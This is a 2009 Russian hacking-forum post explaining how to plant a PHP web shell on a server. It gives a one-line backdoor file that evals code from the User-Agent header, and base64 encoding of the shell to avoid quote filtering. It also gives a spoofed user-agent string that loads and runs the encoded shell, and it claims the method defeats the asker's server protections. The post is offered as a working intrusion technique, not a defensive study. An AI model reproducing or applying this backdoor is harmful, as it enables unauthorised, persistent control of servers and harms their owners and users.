Показать сообщение отдельно

  #8943  
Старый 14.09.2009, 02:43
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514

Репутация: 3338


По умолчанию

2 Nightmarе:

Всё дело в HTML-коде внутри любого шелла. Его просто надо переделать в ECHO "а тут html-код". Иначе через eval есс-но работать не будет. Или написать "правильную" функцию для корректной работы шелла с чистым html внутри себя.

Т.е. в итоге будет достаточно залить чистый base64_encode код шелла в файл на сервере, без <? и ?>

Но таких готовых шеллов нет, никто так не пишет) Ну или в паблик не выкладывает. Вывод - ручками. Как? Очень просто. Сидим и построчно заменяем "чистый html" на

echo 'тут html_код';

вот и всё. Или пишем мегафункцию на все случаи жизни, которой в паблике нет 100% - для корректного исполнения php кода, содержащий в себе чистый html


т.е., чтобы было понятно:

1. Cработает:

PHP код:
<?
$a 
"phpinfo();";
eval (
$a);
?>
2. Сработает:

PHP код:
<?
$a 
"phpinfo();";
$a base64_encode($a);
eval (
base64_decode($a));
?>
Т.е. остается только залить base64_encode код шелла, без <? и ?> и еще не закодированный он когда, там должен быть "правильный" html, не отделенный от php-кода никакими <? и ?>, т.е. шелл, состоящий сплошь из "чистого" php, без htm-отдельных-вставок в центре кода. Т.е. еще раз (сам уже запутался, гы) - весь чистый, отдельный вынесенный html надо заменить на

echo "html-код";

закодировать такой шелл в base64, залить (получиться файло без кавычек, значит прокатит 100%, как при sql-inj при заливке файла) на сервер, а потом просто eval-нуть, т.е. по пунктам:

1. Заливаешь такой файл на сервер, назовем такой файл user1.php:

<?eval($_SERVER[HTTP_USER_AGENT]);?> - будет работать 100%, кавычек нет, зальется без изменений

2. Заливаешь на сервер другой файл, в котором "правильный" base64_encode шелла (с правильными html) - назовем такой файл user.php (закодированный без <? и ?>) - будет работать 100%, кавычек нет, зальется без изменений

3. Идешь в FF и создаешь такого юзер-агента в плагине user agent switcher:

Description: eval(base64)
User agent: $a=file_get_contents('user.php');eval(base64_decod e($a));

и всё, у тебя шелл

PS: Пункт №2 можно выполнить либо удаленно, либо через предварительно залитую форму загрузки с локального компа - зависит от настроек в php.ini

И такая защита, как наблюдается у тебя там, обломается

Или не читать весь бред, что выше про FF (раньше так делал, гы) и просто залить правильный base64 шелла и выполнить его через eval - что в принципе одно и тоже

Последний раз редактировалось Pashkela; 14.09.2009 в 03:00..
 
Ответить с цитированием